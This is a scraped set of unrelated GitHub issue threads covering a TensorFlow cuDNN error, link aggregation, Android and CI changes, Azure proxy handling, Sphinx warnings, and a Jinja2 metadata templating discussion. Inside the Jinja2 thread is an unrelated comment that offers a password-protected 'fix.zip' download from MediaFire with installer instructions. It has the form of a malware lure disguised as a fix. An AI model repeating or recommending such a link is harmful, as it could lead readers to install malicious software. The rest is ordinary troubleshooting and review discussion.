1128   explicit_paddings, "data_format", data_format, "dilations", dilations)
1129   _result = _execute.execute(b"Conv2D", 1, inputs=_inputs_flat, attrs=_attrs,
-> 1130                              ctx=_ctx, name=name)
1131   _execute.record_gradient(
1132       "Conv2D", _inputs_flat, _attrs, _result, name)
~/venv_tf2.0/lib/python3.6/site-packages/tensorflow/python/eager/execute.py in quick_execute(op_name, num_outputs, inputs, attrs, ctx, name)
65     else:
66       message = e.message
---> 67     six.raise_from(core._status_to_exception(e.code, message), None)
68   except TypeError as e:
69     if any(ops._is_keras_symbolic_tensor(x) for x in inputs):
/usr/lib/python3/dist-packages/six.py in raise_from(value, from_value)
UnknownError: Failed to get convolution algorithm. This is probably because cuDNN failed to initialize, so try looking to see if a warning log message was printed above. [Op:Conv2D]
Describe the expected behavior
Output the inference results
Code to reproduce the issue
import tensorflow as tf
tf.keras.layers.Conv2D(10, 3)(tf.ones((1, 5, 5, 3)))
How should resolve it? Thanks

I have also got this problem for several days.
win10, python3.6, TF2.0beta1, cuda10.0, cudnn7.6.
What's really ridiculous is that it works well when I finished installing them. After about two days when I used layers.conv2D it didn't work and reported Failed to get convolution algorithm. I have tried to fix it for reinstall cuda and cudnn, and check environment variables. It works for time to time, but now it doesn't work completely for the same question. I would like to know how should I do for this too. Thanks

Dear @kurobaneHITOMI
Now my code works well without this issue by using this:

physical_devices = tf.config.experimental.list_physical_devices('GPU') tf.config.experimental.set_memory_growth(physical_devices[0], True)
Leading by issued#29632, thank srihari-humbarwadi

It did work, thanks so much

I also have this problem for several days.
win10, python3.6, TF2.0beta1, cuda10.0, cudnn7.6.
What's really ridiculous is that it works well when I finished installing them. After about two days when I used layers.conv2D it didn't work and reported Failed to get convolution algorithm. I have tried to fix it for reinstall cuda and cudnn, and check environment variables.
It seems it has noting to do with cuda cudnn. Now my code works well without this issue by using this:
physical_devices = tf.config.experimental.list_physical_devices('GPU') tf.config.experimental.set_memory_growth(physical_devices[0], True)
Leading by issued#29632, thank srihari-humbarwadi

Hi,
This solution didn't work for my.
I'm running on TF 2 rc1. I've added these lines and I still get this error of Failed to get convolution algorithm...
Are there any other solutions?
Regards, Alon


Evaluate link aggregation with new server

With the new server's 4 ethernet ports, we should be able to make use of link aggregation to increase possible throughput if multiple clients request data.

The switch side
https://support.hostifi.com/en/articles/6454249-unifi-how-to-enable-link-aggregation-on-switches-lag
https://help.ui.com/hc/en-us/articles/360007279753-Port-Aggregation-FAQs
https://community.ui.com/questions/Link-Aggregation-on-Unifi-Switch/4bb974e4-b041-4c59-bbd4-840d963e1acf

The server side
https://www.reddit.com/r/debian/comments/sv9fey/does_anyone_have_lacp_bonding_of_nics_working_on/
https://wiki.debian.org/Bonding
https://www.snel.com/support/lacp-bonding-on-debian-7-8-9/
https://www.kernel.org/doc/Documentation/networking/bonding.txt
^^check out xmit_hash_policy


RC - Password Visibility Toggle

Why

To give users the ability to see what they're typing into the password field

How

Added the password toggle visibility line in xml.
Formatted the xml files.

Screenshots

Updated with new colors per @dannyalright

Looks great with the new change!

 Android: Password reveal option to make entering passwords easier


ci: add github issue automation tooling

Please fill in the template below before submitting your pull request. This helps keep a consistent structure for project history.
Metadata

[ ] Feature: a new feature.
[ ] Bug: a bug fix.
[ ] Refactor: a code change that neither fixes a bug nor adds a feature.
[ ] Style: changes that do not affect the meaning of the code (white-space, formatting, missing semi-colons, etc.).
[ ] Test: adding missing tests or correcting existing tests.
[ ] Performance: a code change that improves performance.
[ ] Documentation: changes to documentation.
[ ] Build: changes that affect the build system or external dependencies.
[x] CI: changes to our CI configuration files and scripts.

Changes
Adds Github automation tooling:

Stale
No response
Auto commenter
WIP pull request
Auto labeler
Delete merged branch

Checklist

[x] This PR contains only a single concern and is small enough to be reviewed easily.
[x] Documentation for this issue has been added or updated with this PR.
[x] Unit tests have been added, if applicable.

Screenshots
Please include any relevant screenshots if this PR pertains to a visible UI change.
Additional Information
Please include any additional notes you feel are necessary here.

:tada: This PR is included in version 1.0.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


[New Feature]: create a 404 not found page

🎮 feature Request
create a 404 not found page
Point down the features
create a 404 not found page
Select program in which you are contributing
GSSoC24
Code of Conduct

[X] I follow CONTRIBUTING GUIDELINE of this project.

@Durgesh4993 Can you please assign me this issue, abhi thik kr k deta hu.


Default system proxy is not detected when using HttpWebRequest transport

@pakrym Thanks for doing this fix - I have been experiencing the issue this should fix. Do you have any idea when this will make it into a release? Judging by the date of previous nuget packages it is sometime around the beginning of December...?

@zak-nye this would be out at the beginning of January. We are skipping December to avoid disruptions while a lot of people are out.
You can work around the failure using the AZURE_CORE_DISABLE_HTTPWEBREQUESTTRANSPORT=true environment variable or app config switch described here: https://github.com/Azure/azure-sdk-for-net/blob/master/sdk/core/Azure.Core/CHANGELOG.md#added-2

Azure PowerShell has applied this fix in Az.Accounts 2.2.3, thanks.

Azure PowerShell has applied this fix in Az.Accounts 2.2.3, thanks.


404 Not Found. nginx?

In Some Place, we see "404 Not Found. nginx".
when we dig this, we saw some ip address. but not found is it from where.
Can anybody tell me how can we find it and is it vulnerable or not?

Hey @abusabiha ,
If you have enough information for a takeover. Every website is Vulnerable :)


RecordIO API docs errors

Description
Sphinx throws several errors when generating the RecordIO API docs.
Error
/home/ubuntu/incubator-mxnet/python/mxnet/recordio.py:docstring of mxnet.recordio.MXRecordIO:4: WARNING: Title underline too short.

Example usage:
----------
/home/ubuntu/incubator-mxnet/python/mxnet/recordio.py:docstring of mxnet.recordio.MXRecordIO:4: SEVERE: Unexpected section title.

Example usage:
----------
/home/ubuntu/incubator-mxnet/python/mxnet/recordio.py:docstring of mxnet.recordio.MXRecordIO.reset:6: WARNING: Title underline too short.

Example usage:
----------
/home/ubuntu/incubator-mxnet/python/mxnet/recordio.py:docstring of mxnet.recordio.MXRecordIO.reset:6: SEVERE: Unexpected section title.

Example usage:
----------
/home/ubuntu/incubator-mxnet/python/mxnet/recordio.py:docstring of mxnet.recordio.MXRecordIO.write:4: WARNING: Title underline too short.

Example usage:
----------
/home/ubuntu/incubator-mxnet/python/mxnet/recordio.py:docstring of mxnet.recordio.MXRecordIO.write:4: SEVERE: Unexpected section title.

Example usage:
----------
/home/ubuntu/incubator-mxnet/python/mxnet/recordio.py:docstring of mxnet.recordio.MXRecordIO.read:4: WARNING: Title underline too short.

Example usage:
----------
/home/ubuntu/incubator-mxnet/python/mxnet/recordio.py:docstring of mxnet.recordio.MXRecordIO.read:4: SEVERE: Unexpected section title.

Example usage:
----------
/home/ubuntu/incubator-mxnet/python/mxnet/recordio.py:docstring of mxnet.recordio.MXIndexedRecordIO:4: WARNING: Title underline too short.

Example usage:
----------
/home/ubuntu/incubator-mxnet/python/mxnet/recordio.py:docstring of mxnet.recordio.MXIndexedRecordIO:4: SEVERE: Unexpected section title.

Example usage:
----------
/home/ubuntu/incubator-mxnet/python/mxnet/recordio.py:docstring of mxnet.recordio.MXIndexedRecordIO.tell:4: WARNING: Title underline too short.

Example usage:
----------
/home/ubuntu/incubator-mxnet/python/mxnet/recordio.py:docstring of mxnet.recordio.MXIndexedRecordIO.tell:4: SEVERE: Unexpected section title.

Example usage:
----------
/home/ubuntu/incubator-mxnet/python/mxnet/recordio.py:docstring of mxnet.recordio.MXIndexedRecordIO.read_idx:4: WARNING: Title underline too short.

Example usage:
----------
/home/ubuntu/incubator-mxnet/python/mxnet/recordio.py:docstring of mxnet.recordio.MXIndexedRecordIO.read_idx:4: SEVERE: Unexpected section title.

Example usage:
----------
/home/ubuntu/incubator-mxnet/python/mxnet/recordio.py:docstring of mxnet.recordio.MXIndexedRecordIO.write_idx:4: WARNING: Title underline too short.

Example usage:
----------
/home/ubuntu/incubator-mxnet/python/mxnet/recordio.py:docstring of mxnet.recordio.MXIndexedRecordIO.write_idx:4: SEVERE: Unexpected section title.

@mxnet-label-bot [Doc]


Ensure auto_env_var_prefix converts dash to underscore like ArgParse

From https://docs.python.org/dev/library/argparse.html#dest: Any internal - characters will be converted to _ characters to make sure the string is a valid attribute name
Also bumped the version to 0.10.0 to be more semvar since 0.9.4 was really feature addition.

Hi @helgi I'm hesitating to merge this because there are many special characters that can't be included in auto_env_var_prefix (eg. '=', etc.),  so I'd rather just leave it to the user to provide a sensible auto_env_var_prefix value instead of trying to fix specific kinds of bad characters like '-' .

This actually has nothing to do with the prefix it self but rather the arguments themselves. It is transforming --foo-bar with a HELLO_ prefix to HELLO_FOO_BAR instead of being saved as HELLO_FOO-BAR.
Right now the code in master straight up takes the config name, no transformation.
Replacing - with _ follows the argparse convention (linked to above) and also makes it possible for people to set ENV Vars that are separated with - in the config args.
export HELLO_FOO-BAR=100
-bash: export: `HELLO_FOO-BAR=100': not a valid identifier

Shell doesn't like the - it seems.

Oh, I see. My mistake.
Thanks for the pull request!

Thanks for merging! I can see why it would be confusing given people can add in their own prefix ending and I didn't specifically mention values only :-)
For a few minutes I did think about potentially just auto adding _ between prefix and the value as well but some people might not want any _ so I left that alone.

Does it make sense to do the same for all configuration sources, except the command line?
For example, I would expect p.add_arguments('-c', '--config-file') to have a corresponding yaml key of 'config_file'.


Improve jinja2 templating experience

Problem
We use the Jinja2 templating engine in our metadata YAML files, especially in cases with dimensions, to avoid repeating the same phrases over and over. The problem is that Jinja2 syntax can feel unnatural and verbose. It's easy to make syntax errors because we don't have a VSCode highlighter, and typos are hard to spot because Jinja2 often falls back to an empty string.
This is made even more complex because we mix dynamic_yaml we jinja and use non-standard tags <% ... %> instead of {% ... %}.
Possible solutions
Replace dynamic-yaml by jinja2
dynamic-yaml is useful, yet outdated way of using substitution that is not natively supported by YAML. Perhaps we could fully replace it by jinja2 and start using default {% ... %} tags and VSCode plugin for syntax highlighting?
UPDATE: I tried Better Jinja VSCode plugin and it's not as helpful. It doesn't recognize tags in nested YAML fields and doesn't show syntax errors.
Double down on current jinja2 + dynamic-yaml implementation
Our jinja2 code can be improved and made less verbose and more resilient. See a couple of examples in this PR.
Use custom python functions
Instead of creating metadata strings in jinja2 templating engine, define functions in pure python and then pass those functions to jinja2 environment. The question is where to store those functions. It'd have to be in a grapher step, since this is where we apply the formatting. Another disadvantage is that these functions wouldn't be in the metadata file.
cc @lucasrodes

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Keep it open, I might tackle it in this cooldown.

Adding ideas from https://github.com/owid/etl/pull/3657
Note that this is still not perfect and doesn't solve \n. problem from the issue (we still need to use <%- elif to get rid of it). Ideally, we should never have to use - and have the Jinja templates as intuitive as possible. To do this properly, we should:

Replace dynamic-yaml by something simpler and unify saving & loading of metadata files (while keeping it fast, there were tons of performance optimizations)
Move jinja functionality to owid-catalog and add method VariableMeta.render_jinja(dim_dict={"..."})
Add validation for double whitespaces, newlines, \n., etc.

We discussed this again in triage -- it's mainly about refactoring the rendering flow for dynamic metadata to make it easier to work with and more standard. However, there are a range of different ways this is currently being done in the team. Without having one clear standard, it's hard to settle this right now.

However, there are a range of different ways this is currently being done in the team.

@larsyencken, could you briefly summarize the main differences between the teams? My impression is that most of us rely on Jinja and work with long-formatted tables. Fewer prefer to explicitly work with wide-formatted tables and programmatically set the metadata.
Just so I have an intuition on the differences here. Thanks!

@lucasrodes that's about right. Sharing Pablo's workflow below to have everything in one place.

I haven't figured out a nice generic method for this. I usually use etl.helpers.print_tables_metadata_template, often tweaking it a bit. It's not a particularly sophisticated method... But once the yaml exists, I have total freedom to tweak things individually.

I'm working on a way that would let you use both in YAML filem, i.e. using Jinja templating to create rough metadata for all variables and then tweak specific cases if needed by using their full paths with dimensions.


Timeline for additional MS Apps

When will additional MS Apps be added to the supported shared mode for Android?
[Enter feedback here]

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 0072c083-6b6c-2d36-d70f-4d63da44d178
Version Independent ID: 9cc2ce29-7861-2886-c27b-b29da4d864ef
Content: Shared device mode for Android devices - Microsoft identity platform | Azure
Content Source: articles/active-directory/develop/msal-android-shared-devices.md
Service: active-directory
Sub-service: develop
GitHub Login: @mmacy
Microsoft Alias: marsma

@pjmcglynn
Thanks for your feedback! We will investigate and update as appropriate.

@pjmcglynn
Thank you for your time and patience!
Unfortunately, we don't provide product release updates through our GitHub channels. For this, I'd recommend referring to our Azure Updates or Microsoft 365 Roadmap pages for this info.


Remove casting of indices to lowercase in dataset submission

Describe the bug

The indices used for datasets submitted to QCArchive are forced to lowercase, and this can cause problems for e.g. SMARTS used as the indices, in which two different SMARTs get lowered to the same index.
If there is no explicit value added from lowercasing indices, I propose we eliminate it. This change shouldn't impact existing datasets already in the database, but would perhaps impact user access for users accustomed to case-insensitive indexing.

Dataset entries in v0.50 are now case sensitive